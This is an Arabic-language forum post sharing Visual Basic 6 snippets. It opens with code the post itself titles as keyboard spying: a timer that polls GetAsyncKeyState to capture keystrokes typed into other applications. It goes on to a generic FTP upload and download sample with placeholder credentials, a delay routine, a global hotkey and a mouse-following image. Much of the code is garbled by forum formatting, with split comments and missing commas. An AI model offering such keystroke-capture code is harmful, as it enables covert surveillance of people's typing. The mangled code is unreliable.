تقييم الموضوع :
  • 0 أصوات - بمعدل 0
  • 1
  • 2
  • 3
  • 4
  • 5
[كود] كود التجسس علي لوحت المفتيح+ كود طلب الاتصل بل انتر نت+كود تاجيل تنفيز الكود لفتره
#1
السلام عليكم ورحمت الله وبركاته
دوت كود التجسس علي لوحت المفتيه 
PHP كود :
Private Sub Form_Load()
Me.Caption "Key Spy"
'Create an API-timer
SetTimer Me.hwnd, 0, 1, AddressOf TimerProc
End Sub
Private Sub Form_Paint()
Dim R As RECT
Const mStr = "Start this project, go to another application, type something, switch back to this application and unload the form. If you unload the form, a messagebox with all the typed keys will be shown."
'
Clear the form
Me
.Cls
'API uses pixels
Me.ScaleMode = vbPixels
'
Set the rectangle's values
SetRect R, 0, 0, Me.ScaleWidth, Me.ScaleHeight
'
Draw the text on the form
DrawTextEx Me
.hDCmStrLen(mStr), RDT_WORDBREAK Or DT_CENTERByVal 0&
End Sub
Private Sub Form_Resize()
Form_Paint
End Sub
Private Sub Form_Unload(Cancel As Integer)
'Kill our API-timer
KillTimer Me.hwnd, 0
'
Show all the typed keys
MsgBox sSave
End Sub

æäßÊÈ Ýí ãæÏíá Modell

Public Const DT_CENTER = &H1
Public Const DT_WORDBREAK = &H10
Type RECT
Left 
As Long
Top 
As Long
Right 
As Long
Bottom 
As Long
End Type
Declare Function DrawTextEx Lib "user32" Alias "DrawTextExA" (ByVal hDC As LongByVal lpsz As StringByVal n As LonglpRect As RECTByVal un As LongByVal lpDrawTextParams As Any) As Long
Declare Function SetTimer Lib "user32" (ByVal hwnd As LongByVal nIDEvent As LongByVal uElapse As LongByVal lpTimerFunc As Long) As Long
Declare Function KillTimer Lib "user32" (ByVal hwnd As LongByVal nIDEvent As Long) As Long
Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Declare Function SetRect Lib "user32" (lpRect As RECTByVal X1 As LongByVal Y1 As LongByVal X2 As LongByVal Y2 As Long) As Long
Global Cnt As LongsSave As StringsOld As StringRet As String
Dim Tel 
As Long
Function GetPressedKey() As String
For Cnt 32 To 128
'Get the keystate of a specified key
If GetAsyncKeyState(Cnt) <> 0 Then
GetPressedKey = Chr$(Cnt)
Exit For
End If
Next Cnt
End Function
Sub TimerProc(ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long)
Ret = GetPressedKey
If Ret <> sOld Then
sOld = Ret
sSave = sSave + sOld
End If
End Sub 

دوت كو طلب التصل بل انتر نت
PHP كود :
Const FTP_TRANSFER_TYPE_UNKNOWN = &H0
Const FTP_TRANSFER_TYPE_ASCII = &H1
Const FTP_TRANSFER_TYPE_BINARY = &H2
Const INTERNET_DEFAULT_FTP_PORT 21 ' default

'
for FTP servers
Const INTERNET_SERVICE_FTP 1
Const INTERNET_FLAG_PASSIVE = &H8000000 ' used

'
for FTP connections
Const INTERNET_OPEN_TYPE_PRECONFIG '

'
use registry configuration
Const INTERNET_OPEN_TYPE_DIRECT '

'
direct to net
Const INTERNET_OPEN_TYPE_PROXY '

'
via named proxy
Const INTERNET_OPEN_TYPE_PRECONFIG_WITH_NO_AUTOPROXY ' prevent using java/script/INS
Const MAX_PATH = 260
Private Type FILETIME
dwLowDateTime As Long
dwHighDateTime As Long
End Type
Private Type WIN32_FIND_DATA
dwFileAttributes As Long
ftCreationTime As FILETIME
ftLastAccessTime As FILETIME
ftLastWriteTime As FILETIME
nFileSizeHigh As Long
nFileSizeLow As Long
dwReserved0 As Long
dwReserved1 As Long
cFileName As String * MAX_PATH
cAlternate As String * 14
End Type
Private Declare Function InternetCloseHandle Lib "wininet.dll" (ByVal hInet As Long) As Integer
Private Declare Function InternetConnect Lib "wininet.dll" Alias "InternetConnectA" (ByVal hInternetSession As Long, ByVal sServerName As String, ByVal nServerPort As Integer, ByVal sUserName As String, ByVal sPassword As String, ByVal lService As Long, ByVal lFlags As Long, ByVal lContext As Long) As Long
Private Declare Function InternetOpen Lib "wininet.dll" Alias "InternetOpenA" (ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal lFlags As Long) As Long
Private Declare Function FtpSetCurrentDirectory Lib "wininet.dll" Alias "FtpSetCurrentDirectoryA" (ByVal hFtpSession As Long, ByVal lpszDirectory As String) As Boolean
Private Declare Function FtpGetCurrentDirectory Lib "wininet.dll" Alias "FtpGetCurrentDirectoryA" (ByVal hFtpSession As Long, ByVal lpszCurrentDirectory As String, lpdwCurrentDirectory As Long) As Long
Private Declare Function FtpCreateDirectory Lib "wininet.dll" Alias "FtpCreateDirectoryA" (ByVal hFtpSession As Long, ByVal lpszDirectory As String) As Boolean
Private Declare Function FtpRemoveDirectory Lib "wininet.dll" Alias "FtpRemoveDirectoryA" (ByVal hFtpSession As Long, ByVal lpszDirectory As String) As Boolean
Private Declare Function FtpDeleteFile Lib "wininet.dll" Alias "FtpDeleteFileA" (ByVal hFtpSession As Long, ByVal lpszFileName As String) As Boolean
Private Declare Function FtpRenameFile Lib "wininet.dll" Alias "FtpRenameFileA" (ByVal hFtpSession As Long, ByVal lpszExisting As String, ByVal lpszNew As String) As Boolean
Private Declare Function FtpGetFile Lib "wininet.dll" Alias "FtpGetFileA" (ByVal hConnect As Long, ByVal lpszRemoteFile As String, ByVal lpszNewFile As String, ByVal fFailIfExists As Long, ByVal dwFlagsAndAttributes As Long, ByVal dwFlags As Long, ByRef dwContext As Long) As Boolean
Private Declare Function FtpPutFile Lib "wininet.dll" Alias "FtpPutFileA" (ByVal hConnect As Long, ByVal lpszLocalFile As String, ByVal lpszNewRemoteFile As String, ByVal dwFlags As Long, ByVal dwContext As Long) As Boolean
Private Declare Function InternetGetLastResponseInfo Lib "wininet.dll" Alias "InternetGetLastResponseInfoA" (lpdwError As Long, ByVal lpszBuffer As String, lpdwBufferLength As Long) As Boolean
Private Declare Function FtpFindFirstFile Lib "wininet.dll" Alias "FtpFindFirstFileA" (ByVal hFtpSession As Long, ByVal lpszSearchFile As String, lpFindFileData As WIN32_FIND_DATA, ByVal dwFlags As Long, ByVal dwContent As Long) As Long
Private Declare Function InternetFindNextFile Lib "wininet.dll" Alias "InternetFindNextFileA" (ByVal hFind As Long, lpvFindData As WIN32_FIND_DATA) As Long
Const PassiveConnection As Boolean = True
Private Sub Form_Load()
Dim hConnection As Long, hOpen As Long, sOrgPath As String
'
open an internet connection
hOpen 
InternetOpen("API-Guide sample program"INTERNET_OPEN_TYPE_PRECONFIGvbNullStringvbNullString0)
'connect to the FTP server
hConnection = InternetConnect(hOpen, "your ftp server", INTERNET_DEFAULT_FTP_PORT, "your login", "your password", INTERNET_SERVICE_FTP, IIf(PassiveConnection, INTERNET_FLAG_PASSIVE, 0), 0)
'
create a buffer to store the original directory
sOrgPath 
String(MAX_PATH0)
'get the directory
FtpGetCurrentDirectory hConnection, sOrgPath, Len(sOrgPath)
'
create a new directory 'testing'
FtpCreateDirectory hConnection"testing"
'set the current directory to '
root/testing'
FtpSetCurrentDirectory hConnection, "testing"
'
upload the file 'test.htm'
FtpPutFile hConnection"C:\test.htm""test.htm"FTP_TRANSFER_TYPE_UNKNOWN0
'rename 'test.htm' to 'apiguide.htm'
FtpRenameFile hConnection, "test.htm", "apiguide.htm"
'
enumerate the file list from the current directory ('root/testing')
EnumFiles hConnection
'retrieve the file from the FTP server
FtpGetFile hConnection, "apiguide.htm", "c:\apiguide.htm", False, 0, FTP_TRANSFER_TYPE_UNKNOWN, 0
'
delete the file from the FTP server
FtpDeleteFile hConnection
"apiguide.htm"
'set the current directory back to the root
FtpSetCurrentDirectory hConnection, sOrgPath
'
remove the direcrtory 'testing'
FtpRemoveDirectory hConnection"testing"
'close the FTP connection
InternetCloseHandle hConnection
'
close the internet connection
InternetCloseHandle hOpen
End Sub
Public Sub EnumFiles(hConnection As Long)
Dim pData As WIN32_FIND_DATAhFind As LonglRet As Long
'set the graphics mode to persistent
Me.AutoRedraw = True
'
create a buffer
pData
.cFileName String(MAX_PATH0)
'find the first file
hFind = FtpFindFirstFile(hConnection, "*.*", pData, 0, 0)
'
if there's no file, then exit sub
If hFind = 0 Then Exit Sub
'
show the filename
Me
.Print Left(pData.cFileNameInStr(1pData.cFileNameString(10), vbBinaryCompare) - 1)
Do
'create a buffer
pData.cFileName = String(MAX_PATH, 0)
'
find the next file
lRet 
InternetFindNextFile(hFindpData)
'if there's no next file, exit do
If 
lRet 0 Then Exit Do
'show the filename
Me.Print Left(pData.cFileName, InStr(1, pData.cFileName, String(1, 0), vbBinaryCompare) - 1)
Loop
'
close the search handle
InternetCloseHandle hFind
End Sub
Sub ShowError
()
Dim lErr As LongsErr As StringlenBuf As Long
'get the required buffer size
InternetGetLastResponseInfo lErr, sErr, lenBuf
'
create a buffer
sErr 
String(lenBuf0)
'retrieve the last respons info
InternetGetLastResponseInfo lErr, sErr, lenBuf
'
show the last response info
MsgBox 
"Error " CStr(lErr) + ": " sErrvbOKOnly vbCritical
End Sub 

كود تاجيل تنفييز الكود لفتره معينه
PHP كود :
Public Sub Delay(HowLong As Date
TempTime DateAdd("s"HowLongNow
While 
TempTime Now 
DoEvents 
Wend 
End Sub 

Private Sub Command1_Click() 
Delay 5 
MsgBox 
"Test" 
End Sub 

كود عمل مفتيح اختصر 
PHP كود :
Private Const MOD_ALT = &H1
Private Const MOD_CONTROL = &H2
Private Const MOD_SHIFT = &H4
Private Const PM_REMOVE = &H1
Private Const WM_HOTKEY = &H312
Private Type POINTAPI
As Long
As Long
End Type
Private Type Msg
hWnd 
As Long
Message 
As Long
wParam 
As Long
lParam 
As Long
time 
As Long
pt 
As POINTAPI
End Type
Private Declare Function RegisterHotKey Lib "user32" (ByVal hWnd As LongByVal id As LongByVal fsModifiers As LongByVal vk As Long) As Long
Private Declare Function UnregisterHotKey Lib "user32" (ByVal hWnd As LongByVal id As Long) As Long
Private Declare Function PeekMessage Lib "user32" Alias "PeekMessageA" (lpMsg As MsgByVal hWnd As LongByVal wMsgFilterMin As LongByVal wMsgFilterMax As LongByVal wRemoveMsg As Long) As Long
Private Declare Function WaitMessage Lib "user32" () As Long
Private bCancel As Boolean
Private Sub ProcessMessages()
Dim Message As Msg
'loop until bCancel is set to True
Do While Not bCancel
'
wait for a message
WaitMessage
'check if it's a HOTKEY-message
If PeekMessage(MessageMe.hWndWM_HOTKEYWM_HOTKEYPM_REMOVEThen
'minimize the form
WindowState = vbMinimized
End If
'
let the operating system process other events
DoEvents
Loop
End Sub
Private Sub Form_Load()

Dim ret As Long
bCancel 
False
'register the Ctrl-F hotkey
ret = RegisterHotKey(Me.hWnd, &HBFFF&, MOD_CONTROL, vbKeyF)
'
show some information
Me
.AutoRedraw True
Me
.Print "Press CTRL-F to minimize this form"
'show the form and
Show
'
process the Hotkey messages
ProcessMessages
End Sub
Private Sub Form_Unload(Cancel As Integer)
bCancel True
'unregister hotkey
Call UnregisterHotKey(Me.hWnd, &HBFFF&)
End Sub 

تحريك صوره مع مؤشرت الموس
PHP كود :
Private Sub Form_MouseMove(Button As IntegerShift As IntegerAs SingleAs Single)
Picture1.Move X 200200
End Sub 
الرد
تم الشكر بواسطة:



التنقل السريع :


يقوم بقرائة الموضوع: بالاضافة الى ( 1 ) ضيف كريم